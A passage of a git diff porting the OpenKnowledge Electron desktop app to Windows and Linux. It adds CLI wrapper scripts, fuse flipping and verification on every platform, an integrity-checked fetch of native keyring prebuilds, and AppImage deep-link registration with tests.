Post-sign: fuse verify on all platforms; @electron/notarize → stapler+# validate on darwin only.afterSign: scripts/afterSign.mjsprotocols:diff --git a/packages/desktop/package.json b/packages/desktop/package.jsonindex cc03e05d7..91c9a6898 100644--- a/packages/desktop/package.json+++ b/packages/desktop/package.json@@ -3,6 +3,11 @@"productName": "OpenKnowledge","version": "0.35.6","license": "GPL-3.0-or-later",+ "homepage": "https://openknowledge.ai",+ "author": {+ "name": "Inkeep",+ "email": "[email protected]"+ },"private": true,"type": "module","main": "out/main/index.js",@@ -16,7 +21,10 @@"build:dir": "pnpm run build:desktop && electron-builder --dir --publish never","build:mac": "pnpm run build:desktop && node scripts/prepare-universal.mjs && electron-builder --mac --publish never","build:mac:unsigned": "pnpm run build:desktop && node scripts/prepare-universal.mjs && CSC_IDENTITY_AUTO_DISCOVERY=false electron-builder --mac --publish never -c.mac.identity=null",+ "build:win": "pnpm run build:desktop && node scripts/prepare-platform-natives.mjs && electron-builder --win --publish never",+ "build:linux": "pnpm run build:desktop && node scripts/prepare-platform-natives.mjs && electron-builder --linux --publish never","prepare:universal": "node scripts/prepare-universal.mjs",+ "prepare:platform-natives": "node scripts/prepare-platform-natives.mjs","postinstall": "node scripts/postinstall.mjs","rebuild:native": "electron-builder install-app-deps","smoke:mock-update": "OK_UPDATER_FORCE_DEV=1 node scripts/smoke-mock-update.mjs",diff --git a/packages/desktop/resources/cli/bin/ok-linux.sh b/packages/desktop/resources/cli/bin/ok-linux.shnew file mode 100755index 000000000..5563edd22--- /dev/null+++ b/packages/desktop/resources/cli/bin/ok-linux.sh@@ -0,0 +1,52 @@+#!/usr/bin/env bash++# Wrapper script shipped inside the OpenKnowledge Linux install at+# <install-root>/resources/cli/bin/ok.sh (this file is renamed by the+# electron-builder `linux.extraResources` rule). Re-uses the bundled+# Electron runtime as a Node host via ELECTRON_RUN_AS_NODE=1 — no separate+# Node install required. Linux sibling of the darwin ok.sh (which derives+# its paths from the .app bundle shape); layout here is the flat+# electron-builder Linux layout:+#+# <root>/openknowledge (Electron binary, linux.executableName)+# <root>/resources/cli/bin/ok.sh (this wrapper)+# <root>/resources/cli/dist/cli.mjs+#+# deb installs place <root> at /opt/OpenKnowledge and symlink+# /usr/bin/ok -> this file (build/deb-postinst.sh). AppImage mounts are+# ephemeral, so PATH install from an AppImage is declined by path-install+# instead of pointing at a mount path that dies with the process.+#+# `set -e` deliberately omitted — matches ok.sh (the readlink loop handles+# failures inline and the final exit must propagate the CLI's code).++SOURCE="${BASH_SOURCE[0]}"+while [ -h "$SOURCE" ]; do+ DIR=$(dirname "$SOURCE")+ SOURCE=$(readlink "$SOURCE")+ [[ $SOURCE != /* ]] && SOURCE=$DIR/$SOURCE+done+BIN_DIR="$( cd -P "$( dirname "$SOURCE" )" >/dev/null 2>&1 && pwd )"++# <root> = bin -> cli -> resources -> root+ROOT_DIR="$(cd -P "$BIN_DIR/../../.." >/dev/null 2>&1 && pwd)"+ELECTRON="$ROOT_DIR/openknowledge"+CLI="$BIN_DIR/../dist/cli.mjs"++if [ ! -f "$CLI" ] || [ ! -x "$ELECTRON" ]; then+ # Self-diagnose the uninstalled/moved lifecycle: MCP clients may hold this+ # wrapper path in their configs after the app is removed. Two-line stderr+ # (human-readable + machine-readable JSON) and exit 69 (EX_UNAVAILABLE),+ # mirroring ok.sh's ok-bundle-missing contract.+ echo "OpenKnowledge has been removed. Reinstall the OpenKnowledge package." >&2+ echo '{"error":"ok-bundle-missing","hint":"OpenKnowledge app appears to have been removed. Reinstall it, or remove OK entries from your MCP config and rerun ok init."}' >&2+ exit 69+fi++# Sanitize NODE_OPTIONS (VS Code pattern; mirrors ok.sh) — re-export under a+# scoped name so the CLI can opt to honor them explicitly.+export OK_NODE_OPTIONS="$NODE_OPTIONS"+unset NODE_OPTIONS++ELECTRON_RUN_AS_NODE=1 "$ELECTRON" "$CLI" "$@"+exit $?diff --git a/packages/desktop/resources/cli/bin/ok.cmd b/packages/desktop/resources/cli/bin/ok.cmdnew file mode 100644index 000000000..7c7d98af0--- /dev/null+++ b/packages/desktop/resources/cli/bin/ok.cmd@@ -0,0 +1,38 @@+@echo off+setlocal++rem Wrapper script shipped inside the OpenKnowledge Windows install+rem (<INSTDIR>\resources\cli\bin\ok.cmd). Re-uses the bundled Electron+rem runtime as a Node host via ELECTRON_RUN_AS_NODE=1 - no separate Node+rem install required on the user machine. Derived from VS Code's bin\code.cmd.+rem The NSIS include (build/installer.nsh) appends this script's directory to+rem the user PATH at install time and removes it at uninstall.+rem+rem Layout (per-user NSIS install, %LOCALAPPDATA%\Programs\OpenKnowledge):+rem %~dp0 = <INSTDIR>\resources\cli\bin\+rem %~dp0..\dist = <INSTDIR>\resources\cli\dist (bundled CLI)+rem %~dp0..\..\.. = <INSTDIR> (OpenKnowledge.exe)++rem Sanitize NODE_OPTIONS the user may have set for their own projects -+rem they would otherwise be inherited into the Electron-as-Node process and+rem can crash with "--require of ESM". Re-export under a scoped name so the+rem CLI can opt to honor them explicitly (VS Code pattern; mirrors ok.sh).+set "OK_NODE_OPTIONS=%NODE_OPTIONS%"+set "NODE_OPTIONS="++set "ELECTRON_RUN_AS_NODE=1"++if not exist "%~dp0..\..\..\OpenKnowledge.exe" goto :missing+if not exist "%~dp0..\dist\cli.mjs" goto :missing++"%~dp0..\..\..\OpenKnowledge.exe" "%~dp0..\dist\cli.mjs" %*+endlocal & exit /b %ERRORLEVEL%++:missing+rem Self-diagnose the uninstalled/moved lifecycle: MCP clients may hold this+rem wrapper path in their configs after the app is removed. Two-line stderr+rem (human-readable + machine-readable JSON) and exit 69 (EX_UNAVAILABLE),+rem mirroring ok.sh's ok-bundle-missing contract.+echo OpenKnowledge has been removed. Reinstall from the OpenKnowledge installer. 1>&2+echo {"error":"ok-bundle-missing","hint":"OpenKnowledge app appears to have been removed. Reinstall it, or remove OK entries from your MCP config and rerun ok init."} 1>&2+endlocal & exit /b 69diff --git a/packages/desktop/resources/cli/bin/ok.ps1 b/packages/desktop/resources/cli/bin/ok.ps1new file mode 100644index 000000000..d77c58b2d--- /dev/null+++ b/packages/desktop/resources/cli/bin/ok.ps1@@ -0,0 +1,26 @@+# Wrapper script shipped inside the OpenKnowledge Windows install+# (<INSTDIR>\resources\cli\bin\ok.ps1). PowerShell sibling of ok.cmd for+# hosts that resolve .ps1 ahead of .cmd (or where cmd.exe is unavailable).+# Re-uses the bundled Electron runtime as a Node host via+# ELECTRON_RUN_AS_NODE=1 - no separate Node install required.++$installDir = Resolve-Path (Join-Path $PSScriptRoot '..\..\..')+$electron = Join-Path $installDir 'OpenKnowledge.exe'+$cli = Join-Path $PSScriptRoot '..\dist\cli.mjs'++if (-not (Test-Path $electron) -or -not (Test-Path $cli)) {+ # Mirrors ok.sh / ok.cmd's ok-bundle-missing contract: two-line stderr+ # (human-readable + machine-readable JSON), exit 69 (EX_UNAVAILABLE).+ [Console]::Error.WriteLine('OpenKnowledge has been removed. Reinstall from the OpenKnowledge installer.')+ [Console]::Error.WriteLine('{"error":"ok-bundle-missing","hint":"OpenKnowledge app appears to have been removed. Reinstall it, or remove OK entries from your MCP config and rerun ok init."}')+ exit 69+}++# Sanitize NODE_OPTIONS (VS Code pattern; mirrors ok.sh) - re-export under a+# scoped name so the CLI can opt to honor them explicitly.+$env:OK_NODE_OPTIONS = $env:NODE_OPTIONS+Remove-Item Env:NODE_OPTIONS -ErrorAction SilentlyContinue++$env:ELECTRON_RUN_AS_NODE = '1'+& $electron $cli @args+exit $LASTEXITCODEdiff --git a/packages/desktop/scripts/afterPack.mjs b/packages/desktop/scripts/afterPack.mjsindex 5ec89c8cc..4cd9dc42a 100644--- a/packages/desktop/scripts/afterPack.mjs+++ b/packages/desktop/scripts/afterPack.mjs@@ -3,6 +3,7 @@ import { chmodSync, copyFileSync, existsSync, mkdirSync, writeFileSync } from 'nimport { dirname, join } from 'node:path';import { FuseV1Options, FuseVersion, flipFuses } from '@electron/fuses';import { ensureNodePtySpawnHelperExecutable } from './ensure-node-pty-exec.mjs';+import { resolveElectronBinary } from './resolve-electron-binary.mjs';import { targetFuses } from './target-fuses.mjs';/**@@ -32,13 +33,12 @@ import { targetFuses } from './target-fuses.mjs';export default async function afterPack(context) {const { appOutDir, packager, electronPlatformName } = context;- // electron-builder runs afterPack once per target platform. We only flip- // fuses on macOS for now. When Windows/Linux builds arrive in a later- // milestone, widen this guard.- if (electronPlatformName !== 'darwin') {- console.log(`[afterPack] skipping fuses on platform "${electronPlatformName}"`);- return;- }+ // Fuses flip on EVERY platform (D9). An off-darwin build without the flip+ // would ship with RunAsNode still at Electron's default — but also without+ // the NODE_OPTIONS/asar-integrity hardening, and any drift between+ // platforms here would surface as "works on mac, silently broken CLI on+ // win/linux". Only the darwin-specific steps below (helper bundle,+ // node-pty spawn-helper chmod) stay gated.// Universal builds: electron-builder packs arm64 and x64 into separate// `mac-universal-<arch>-temp` dirs, fires afterPack on each, then calls@@ -58,12 +58,12 @@ export default async function afterPack(context) {}const appName = packager.appInfo.productFilename;- const electronBinary = join(appOutDir, `${appName}.app`, 'Contents', 'MacOS', appName);+ const electronBinary = resolveElectronBinary(electronPlatformName, appOutDir, packager);if (!existsSync(electronBinary)) {throw new Error(`[afterPack] Electron binary not found at ${electronBinary}. ` +- `Expected electron-builder to have packed the .app before afterPack ran.`,+ `Expected electron-builder to have packed the app before afterPack ran.`,);}@@ -76,7 +76,10 @@ export default async function afterPack(context) {try {await flipFuses(electronBinary, {version: FuseVersion.V1,- resetAdHocDarwinSignature: true,+ // Darwin-only concern: electron ships with an ad-hoc signature that+ // the flip would invalidate. Harmless no-op elsewhere, but keep it+ // scoped so the intent is legible.+ resetAdHocDarwinSignature: electronPlatformName === 'darwin',...targetFuses,});} catch (err) {@@ -93,6 +96,19 @@ export default async function afterPack(context) {console.log('[afterPack] fuses flipped successfully; electron-builder will re-sign next');+ // Everything below is darwin-only: the LSUIElement helper bundle exists to+ // suppress the macOS Dock "exec" placeholder (no Dock/LaunchServices+ // concept on win/linux — resolve-detached-spawn-args.ts uses+ // parentExecPath directly there), and the node-pty spawn-helper chmod is+ // moot off-mac (the terminal dock is dark on win/linux per D7; node-pty is+ // excluded from those packages via win.files/linux.files).+ if (electronPlatformName !== 'darwin') {+ console.log(+ `[afterPack] fuses done; skipping darwin-only helper-bundle + node-pty steps on "${electronPlatformName}"`,+ );+ return;+ }+// Detached-server helper bundle: clone the Electron Helper stub binary// into our `OpenKnowledge Server.app/Contents/MacOS/` slot. electron-// builder's `extraFiles` (in electron-builder.yml) lands the Info.plistdiff --git a/packages/desktop/scripts/afterSign.mjs b/packages/desktop/scripts/afterSign.mjsindex 8ba77672e..580e9b1f0 100644--- a/packages/desktop/scripts/afterSign.mjs+++ b/packages/desktop/scripts/afterSign.mjs@@ -4,6 +4,7 @@ import { existsSync } from 'node:fs';import { join } from 'node:path';import { FuseV1Options, getCurrentFuseWire } from '@electron/fuses';import { notarize } from '@electron/notarize';+import { resolveElectronBinary } from './resolve-electron-binary.mjs';import { expectedFuseState, fuseStateName, targetFuses } from './target-fuses.mjs';/**@@ -192,29 +193,40 @@ async function verifyFuses(electronBinary, expected) {export default async function afterSign(context) {const { appOutDir, packager, electronPlatformName } = context;+ const appName = packager.appInfo.productFilename;+ const electronBinary = resolveElectronBinary(electronPlatformName, appOutDir, packager);++ if (!existsSync(electronBinary)) {+ throw new Error(`[afterSign] packed Electron binary not found at ${electronBinary}`);+ }++ // Always verify fuses, on EVERY platform (D9) — the paranoid post-flip+ // check runs regardless of whether we're about to notarize/sign. The+ // unsigned darwin path still has an ad-hoc re-sign (via `flipFuses`'+ // `resetAdHocDarwinSignature: true`) and electron-builder may still+ // invoke codesign with `identity=null` between afterPack and afterSign —+ // any of those steps could silently perturb fuse state. On Windows this+ // is the load-bearing guard the header warns about: signtool has shipped+ // silent fuse-clobber regressions (electron-builder #9428), so once Azure+ // Artifact Signing is wired the verify runs after the signature lands.+ // Verify-before-notarize means all paths share the same defense-in-depth+ // guarantee; verify-after-notarize would miss bugs on the unsigned path+ // where local developers exercise the pipeline most.+ await verifyFuses(electronBinary, targetFuses);++ // Notarization (and its staple/validate follow-ups) is Apple-only.if (electronPlatformName !== 'darwin') {- console.log(`[afterSign] skipping on platform "${electronPlatformName}"`);+ console.log(+ `[afterSign] fuse verification done; no notarize step on platform "${electronPlatformName}"`,+ );return;}- const appName = packager.appInfo.productFilename;const appPath = join(appOutDir, `${appName}.app`);- const electronBinary = join(appPath, 'Contents', 'MacOS', appName);-if (!existsSync(appPath)) {throw new Error(`[afterSign] .app bundle not found at ${appPath}`);}- // Always verify fuses — the paranoid post-flip check runs regardless of- // whether we're about to notarize. The unsigned path still has an- // ad-hoc re-sign (via `flipFuses`' `resetAdHocDarwinSignature: true`) and- // electron-builder may still invoke codesign with `identity=null` between- // afterPack and afterSign — any of those steps could silently perturb- // fuse state. Verify-before-notarize means both paths share the same- // defense-in-depth guarantee; verify-after-notarize would miss bugs on- // the unsigned path where local developers exercise the pipeline most.- await verifyFuses(electronBinary, targetFuses);-const credentials = resolveNotarizeCredentials();if (!credentials) {diff --git a/packages/desktop/scripts/prepare-platform-natives.mjs b/packages/desktop/scripts/prepare-platform-natives.mjsnew file mode 100644index 000000000..fec2016de--- /dev/null+++ b/packages/desktop/scripts/prepare-platform-natives.mjs@@ -0,0 +1,143 @@+#!/usr/bin/env node+/**+ * Force-install the @napi-rs/keyring prebuilt binary packages a Windows or+ * Linux desktop build needs before electron-builder runs.+ *+ * Sibling of `prepare-universal.mjs` (the darwin/universal variant — kept+ * separate so the shipping mac pipeline stays untouched). Same root cause:+ * `@napi-rs/keyring` publishes per-arch binaries as optionalDependencies+ * with `cpu`/`os` constraints, and pnpm installs only the host-matching one.+ * The `win.extraResources` / `linux.extraResources` rules in+ * electron-builder.yml copy BOTH arch packages (x64 + arm64) into+ * `cli/node_modules/`, so a single-arch host must fetch the missing ones+ * from the registry first or the copy rule fails the build.+ *+ * Pulls each missing tarball from registry.npmjs.org and extracts to+ * <repo-root>/node_modules/@napi-rs/keyring-<platform>-<arch>/, matching+ * the layout the package manager produces for the host package. Idempotent: skips when the+ * target dir already has a matching-version package.json.+ *+ * No-op on darwin (use `prepare-universal.mjs` there).+ */+import { execFileSync } from 'node:child_process';+import { createHash } from 'node:crypto';+import { createWriteStream, existsSync, mkdirSync, readFileSync, rmSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { dirname, join, resolve } from 'node:path';+import { Readable } from 'node:stream';+import { pipeline } from 'node:stream/promises';+import { fileURLToPath } from 'node:url';++const PLATFORM_PACKAGES = {+ win32: ['win32-x64-msvc', 'win32-arm64-msvc'],+ linux: ['linux-x64-gnu', 'linux-arm64-gnu'],+};++const suffixes = PLATFORM_PACKAGES[process.platform];+if (!suffixes) {+ console.log(+ `[prepare-platform-natives] platform=${process.platform} — no-op (win32/linux only; darwin uses prepare-universal.mjs).`,+ );+ process.exit(0);+}++const HERE = dirname(fileURLToPath(import.meta.url));+const REPO_ROOT = resolve(HERE, '..', '..', '..');+const NAPI_DIR = join(REPO_ROOT, 'node_modules', '@napi-rs');++// Resolve the target version from the installed wrapper package — it is a+// plain dependency (no cpu/os constraint) and present on every platform,+// unlike the host binary package prepare-universal keys off (its name+// varies with libc on linux, e.g. -gnu vs -musl hosts).+const wrapperPkgJson = join(NAPI_DIR, 'keyring', 'package.json');+if (!existsSync(wrapperPkgJson)) {+ console.error(+ `[prepare-platform-natives] @napi-rs/keyring not present at ${wrapperPkgJson}. Run \`pnpm install\` first.`,+ );+ process.exit(1);+}+const version = JSON.parse(readFileSync(wrapperPkgJson, 'utf8')).version;++/**+ * Expected sha512 integrity for `<pkgName>@<version>` from pnpm-lock.yaml —+ * the registry fetch below deliberately bypasses the package manager (the+ * packages are cpu/os-gated so pnpm won't install them here), so the+ * lockfile's recorded integrity is re-checked by hand. Fail-closed: a+ * package missing from the lockfile means the fetch would be entirely+ * unpinned, which is exactly the supply-chain gap this check closes.+ */+function lockfileIntegrityFor(pkgName, pkgVersion) {+ const lockfile = readFileSync(join(REPO_ROOT, 'pnpm-lock.yaml'), 'utf8');+ const key = `${pkgName}@${pkgVersion}`;+ const at = lockfile.indexOf(`'${key}':`);+ if (at === -1) return null;+ const window = lockfile.slice(at, at + 500);+ const m = /integrity: (sha512-[A-Za-z0-9+/=]+)/.exec(window);+ return m?.[1] ?? null;+}++console.log(`[prepare-platform-natives] target version: @napi-rs/keyring-* v${version}`);+console.log(`[prepare-platform-natives] @napi-rs root: ${NAPI_DIR}`);++for (const suffix of suffixes) {+ const pkgName = `@napi-rs/keyring-${suffix}`;+ const targetDir = join(NAPI_DIR, `keyring-${suffix}`);+ const targetPkgJson = join(targetDir, 'package.json');++ if (existsSync(targetPkgJson)) {+ const installed = JSON.parse(readFileSync(targetPkgJson, 'utf8'));+ if (installed.version === version) {+ console.log(`[prepare-platform-natives] ${pkgName}@${version} present — skip`);+ continue;+ }+ console.log(+ `[prepare-platform-natives] ${pkgName} version mismatch (have=${installed.version}, want=${version}) — re-extracting`,+ );+ rmSync(targetDir, { recursive: true, force: true });+ } else {+ console.log(`[prepare-platform-natives] ${pkgName}@${version} missing — fetching`);+ }++ const tarballUrl = `https://registry.npmjs.org/${pkgName}/-/keyring-${suffix}-${version}.tgz`;+ const tmpTarball = join(tmpdir(), `keyring-${suffix}-${version}-${process.pid}.tgz`);++ const expectedIntegrity = lockfileIntegrityFor(pkgName, version);+ if (!expectedIntegrity) {+ console.error(+ `[prepare-platform-natives] ${pkgName}@${version} has no integrity entry in pnpm-lock.yaml — refusing an unpinned registry fetch.`,+ );+ process.exit(1);+ }++ const res = await fetch(tarballUrl);+ if (!res.ok) {+ console.error(+ `[prepare-platform-natives] fetch ${tarballUrl} → ${res.status} ${res.statusText}`,+ );+ process.exit(1);+ }+ await pipeline(Readable.fromWeb(res.body), createWriteStream(tmpTarball));++ try {+ const actual = `sha512-${createHash('sha512').update(readFileSync(tmpTarball)).digest('base64')}`;+ if (actual !== expectedIntegrity) {+ console.error(+ `[prepare-platform-natives] integrity mismatch for ${pkgName}@${version}: expected ${expectedIntegrity}, got ${actual}`,+ );+ process.exit(1);+ }++ mkdirSync(targetDir, { recursive: true });+ // bsdtar ships with Windows 10+ (and every Linux runner), so plain `tar`+ // works on both platforms this script supports.+ execFileSync('tar', ['-xzf', tmpTarball, '-C', targetDir, '--strip-components=1'], {+ stdio: 'inherit',+ });+ } finally {+ rmSync(tmpTarball, { force: true });+ }++ console.log(`[prepare-platform-natives] extracted ${pkgName}@${version} → ${targetDir}`);+}++console.log('[prepare-platform-natives] all target-platform keyring prebuilds present.');diff --git a/packages/desktop/scripts/prepare-universal.mjs b/packages/desktop/scripts/prepare-universal.mjsindex 7514f6a13..ee86ce3d5 100644--- a/packages/desktop/scripts/prepare-universal.mjs+++ b/packages/desktop/scripts/prepare-universal.mjs@@ -41,7 +41,7 @@ const hostPkgJson = join(NAPI_DIR, `keyring-${hostArch}`, 'package.json');if (!existsSync(hostPkgJson)) {console.error(`[prepare-universal] @napi-rs/keyring-${hostArch} not present at ${hostPkgJson}. ` +- `Run \`bun install\` first.`,+ `Run \`pnpm install\` first.`,);process.exit(1);}diff --git a/packages/desktop/scripts/resolve-electron-binary.mjs b/packages/desktop/scripts/resolve-electron-binary.mjsnew file mode 100644index 000000000..2702a5050--- /dev/null+++ b/packages/desktop/scripts/resolve-electron-binary.mjs@@ -0,0 +1,36 @@+#!/usr/bin/env node+import { join } from 'node:path';++/**+ * Locate the packed Electron binary inside an electron-builder output dir,+ * per platform. Shared by `afterPack.mjs` (fuse flip) and `afterSign.mjs`+ * (fuse verify) so the two hooks can never disagree about which binary the+ * fuses live in.+ *+ * - darwin: `<out>/<Product>.app/Contents/MacOS/<Product>`+ * - win32: `<out>/<Product>.exe`+ * - linux: `<out>/<executableName>` (electron-builder lowercases the+ * sanitized product name unless `linux.executableName` overrides; the+ * LinuxPackager exposes the resolved value as `packager.executableName`).+ */+export function resolveElectronBinary(electronPlatformName, appOutDir, packager) {+ const appName = packager.appInfo.productFilename;+ switch (electronPlatformName) {+ case 'darwin':+ case 'mas':+ return join(appOutDir, `${appName}.app`, 'Contents', 'MacOS', appName);+ case 'win32':+ return join(appOutDir, `${appName}.exe`);+ case 'linux': {+ const executableName =+ typeof packager.executableName === 'string' && packager.executableName.length > 0+ ? packager.executableName+ : appName;+ return join(appOutDir, executableName);+ }+ default:+ throw new Error(+ `[resolve-electron-binary] unsupported electronPlatformName "${electronPlatformName}"`,+ );+ }+}diff --git a/packages/desktop/src/main/appimage-integration.test.ts b/packages/desktop/src/main/appimage-integration.test.tsnew file mode 100644index 000000000..65fb93b78--- /dev/null+++ b/packages/desktop/src/main/appimage-integration.test.ts@@ -0,0 +1,117 @@+import { describe, expect, test } from 'vitest';+import {+ APPIMAGE_HANDLER_DESKTOP_NAME,+ buildAppImageHandlerDesktopEntry,+ quoteExecArg,+ registerAppImageDeepLinks,+} from './appimage-integration.ts';++describe('quoteExecArg', () => {+ test('plain absolute path passes through unquoted', () => {+ expect(quoteExecArg('/home/u/Apps/OpenKnowledge-x86_64.AppImage')).toBe(+ '/home/u/Apps/OpenKnowledge-x86_64.AppImage',+ );+ });++ test('space in path gets quoted', () => {+ expect(quoteExecArg('/home/u/My Apps/OK.AppImage')).toBe('"/home/u/My Apps/OK.AppImage"');+ });++ test('reserved characters are backslash-escaped inside quotes', () => {+ expect(quoteExecArg('/tmp/we"ird$`\\.AppImage')).toBe('"/tmp/we\\"ird\\$\\`\\\\.AppImage"');+ });+});++describe('buildAppImageHandlerDesktopEntry', () => {+ const entry = buildAppImageHandlerDesktopEntry('/home/u/OpenKnowledge.AppImage');++ test('declares the x-scheme-handler MimeType with trailing semicolon', () => {+ expect(entry).toContain('MimeType=x-scheme-handler/openknowledge;');+ });++ test('Exec points at the running AppImage with %U for the clicked URL', () => {+ expect(entry).toContain('Exec=/home/u/OpenKnowledge.AppImage %U');+ });++ test('hidden from launchers (NoDisplay) — it exists only as the handler target', () => {+ expect(entry).toContain('NoDisplay=true');+ });+});++describe('registerAppImageDeepLinks', () => {+ const baseDeps = {+ platform: 'linux' as NodeJS.Platform,+ isPackaged: true,+ env: { APPIMAGE: '/home/u/OK.AppImage' } as Record<string, string | undefined>,+ homeDir: '/home/u',+ };++ function collectingDeps() {+ const writes: Array<{ path: string; content: string }> = [];+ const mkdirs: string[] = [];+ const execs: Array<{ cmd: string; args: string[] }> = [];+ return {+ writes,+ mkdirs,+ execs,+ deps: {+ ...baseDeps,+ writeFileImpl: (async (path: string, content: string) => {+ writes.push({ path, content });+ }) as never,+ mkdirImpl: (async (path: string) => {+ mkdirs.push(path);+ return undefined;+ }) as never,+ execFileImpl: (cmd: string, args: string[], cb: (err: Error | null) => void) => {+ execs.push({ cmd, args });+ cb(null);+ },+ },+ };+ }++ test('skips off-linux, unpackaged, and non-AppImage launches', async () => {+ expect(await registerAppImageDeepLinks({ ...baseDeps, platform: 'win32' })).toEqual({+ status: 'skipped',+ reason: 'not-linux',+ });+ expect(await registerAppImageDeepLinks({ ...baseDeps, isPackaged: false })).toEqual({+ status: 'skipped',+ reason: 'not-packaged',+ });+ expect(await registerAppImageDeepLinks({ ...baseDeps, env: {} })).toEqual({+ status: 'skipped',+ reason: 'not-appimage',+ });+ });++ test('writes the handler entry under ~/.local/share/applications and refreshes xdg', async () => {+ const { deps, writes, mkdirs, execs } = collectingDeps();+ const result = await registerAppImageDeepLinks(deps);+ expect(result.status).toBe('registered');+ expect(mkdirs).toEqual(['/home/u/.local/share/applications']);+ expect(writes).toHaveLength(1);+ expect(writes[0]?.path).toBe(+ `/home/u/.local/share/applications/${APPIMAGE_HANDLER_DESKTOP_NAME}`,+ );+ expect(writes[0]?.content).toContain('Exec=/home/u/OK.AppImage %U');+ expect(execs.map((e) => e.cmd)).toEqual(['update-desktop-database', 'xdg-mime']);+ });++ test('honors XDG_DATA_HOME over the ~/.local/share default', async () => {+ const { deps, writes } = collectingDeps();+ deps.env = { ...deps.env, XDG_DATA_HOME: '/custom/data' };+ await registerAppImageDeepLinks(deps);+ expect(writes[0]?.path).toBe(`/custom/data/applications/${APPIMAGE_HANDLER_DESKTOP_NAME}`);+ });++ test('a write failure reports failed without throwing', async () => {+ const { deps } = collectingDeps();+ deps.writeFileImpl = (async () => {+ throw new Error('EACCES');+ }) as never;+ const result = await registerAppImageDeepLinks(deps);+ expect(result).toEqual({ status: 'failed', error: 'EACCES' });+ });+});diff --git a/packages/desktop/src/main/appimage-integration.ts b/packages/desktop/src/main/appimage-integration.tsnew file mode 100644index 000000000..5cbcab70f--- /dev/null+++ b/packages/desktop/src/main/appimage-integration.ts@@ -0,0 +1,133 @@+/**+ * AppImage deep-link self-registration (windows-linux-port deep-link posture).+ *+ * AppImages have no install step, so nothing registers a `.desktop` entry+ * with `MimeType=x-scheme-handler/openknowledge` — `openknowledge://` links+ * silently go nowhere (electron-builder#4035; deb installs get the entry+ * from the package instead). The AppImage runtime exports `APPIMAGE` (the+ * absolute path of the running image), which lets the app self-register at+ * every boot: write a user-scope handler entry pointing at the current+ * image path and (best-effort) refresh the desktop database + MIME default.+ *+ * Self-heal per boot is deliberate (matches the MCP-wiring reclaim+ * posture): the user may move or rename the AppImage between runs — each+ * boot rewrites the entry to the current path, so the handler is correct+ * for the most recently launched copy.+ *+ * Everything here is best-effort: a headless box without xdg-utils still+ * boots fine, deep links just stay unregistered (they already were).+ */++import { execFile } from 'node:child_process';+import { mkdir, writeFile } from 'node:fs/promises';+import { join } from 'node:path';++/** Basename of the handler entry under `~/.local/share/applications`. */+export const APPIMAGE_HANDLER_DESKTOP_NAME = 'openknowledge-url-handler.desktop';++/**+ * Quote one Exec argument per the freedesktop Desktop Entry spec: wrap in+ * double quotes when it contains reserved characters, escaping the four+ * characters that need a backslash inside a quoted argument (`"`, `` ` ``,+ * `$`, `\`).+ */+export function quoteExecArg(arg: string): string {+ if (/^[A-Za-z0-9/._+:@%-]+$/.test(arg)) return arg;+ return `"${arg.replace(/[\\"`$]/g, (c) => `\\${c}`)}"`;+}++/**+ * The handler entry body. `NoDisplay=true` keeps it out of app launchers —+ * it exists solely as the x-scheme-handler target (launchers show the+ * AppImage itself, or whatever integration tool the user runs). `%U` hands+ * the clicked URL to the argv deep-link path (`url-scheme.ts` scans argv ++ * second-instance on non-mac).+ */+export function buildAppImageHandlerDesktopEntry(appImagePath: string): string {+ return [+ '[Desktop Entry]',+ 'Type=Application',+ 'Name=OpenKnowledge URL Handler',+ `Exec=${quoteExecArg(appImagePath)} %U`,+ 'Terminal=false',+ 'NoDisplay=true',+ 'MimeType=x-scheme-handler/openknowledge;',+ 'StartupWMClass=OpenKnowledge',+ '',+ ].join('\n');+}++export type AppImageRegistrationResult =+ | { status: 'registered'; desktopFilePath: string }+ | { status: 'skipped'; reason: 'not-linux' | 'not-packaged' | 'not-appimage' | 'no-home' }+ | { status: 'failed'; error: string };++export interface AppImageRegistrationDeps {+ platform: NodeJS.Platform;+ isPackaged: boolean;+ env: Record<string, string | undefined>;+ homeDir: string;+ /** Injectable fs/exec seams for tests. Defaults are the real implementations. */+ writeFileImpl?: typeof writeFile;+ mkdirImpl?: typeof mkdir;+ execFileImpl?: (cmd: string, args: string[], cb: (err: Error | null) => void) => void;+ log?: { info: (obj: object, msg: string) => void; warn: (obj: object, msg: string) => void };+}++/**+ * Write the handler entry + refresh the databases. The two xdg refresh+ * calls are fire-and-forget best-effort — `update-desktop-database` only+ * exists where desktop-file-utils is installed, and GNOME/KDE pick up new+ * entries without it (they inotify-watch the applications dir).+ */+export async function registerAppImageDeepLinks(+ deps: AppImageRegistrationDeps,+): Promise<AppImageRegistrationResult> {+ const { platform, isPackaged, env, homeDir } = deps;+ if (platform !== 'linux') return { status: 'skipped', reason: 'not-linux' };+ if (!isPackaged) return { status: 'skipped', reason: 'not-packaged' };+ const appImagePath = env.APPIMAGE;+ if (!appImagePath) return { status: 'skipped', reason: 'not-appimage' };+ if (!homeDir) return { status: 'skipped', reason: 'no-home' };++ const applicationsDir =+ env.XDG_DATA_HOME && env.XDG_DATA_HOME.length > 0+ ? join(env.XDG_DATA_HOME, 'applications')+ : join(homeDir, '.local', 'share', 'applications');+ const desktopFilePath = join(applicationsDir, APPIMAGE_HANDLER_DESKTOP_NAME);++ const writeFileFn = deps.writeFileImpl ?? writeFile;+ const mkdirFn = deps.mkdirImpl ?? mkdir;+ const execFileFn =+ deps.execFileImpl ??+ ((cmd: string, args: string[], cb: (err: Error | null) => void) => {+ execFile(cmd, args, { timeout: 5_000 }, (err) => cb(err));+ });++ try {+ await mkdirFn(applicationsDir, { recursive: true });+ await writeFileFn(desktopFilePath, buildAppImageHandlerDesktopEntry(appImagePath), 'utf8');+ } catch (err) {+ return { status: 'failed', error: err instanceof Error ? err.message : String(err) };+ }++ for (const [cmd, args] of [+ ['update-desktop-database', [applicationsDir]],+ ['xdg-mime', ['default', APPIMAGE_HANDLER_DESKTOP_NAME, 'x-scheme-handler/openknowledge']],+ ] as const) {+ execFileFn(cmd, [...args], (err) => {+ if (err) {+ deps.log?.warn(+ { cmd, err },+ '[appimage-integration] xdg refresh failed (deep links may need a relog)',+ );+ }+ });+ }++ deps.log?.info(+ { desktopFilePath, appImagePath },+ '[appimage-integration] openknowledge:// handler entry written',+ );+ return { status: 'registered', desktopFilePath };+}diff --git a/packages/desktop/src/main/bundle-paths.test.ts b/packages/desktop/src/main/bundle-paths.test.tsindex 321ecb8bc..2d7fe1eae 100644--- a/packages/desktop/src/main/bundle-paths.test.ts+++ b/packages/desktop/src/main/bundle-paths.test.ts@@ -1,10 +1,13 @@-import { describe, expect, test } 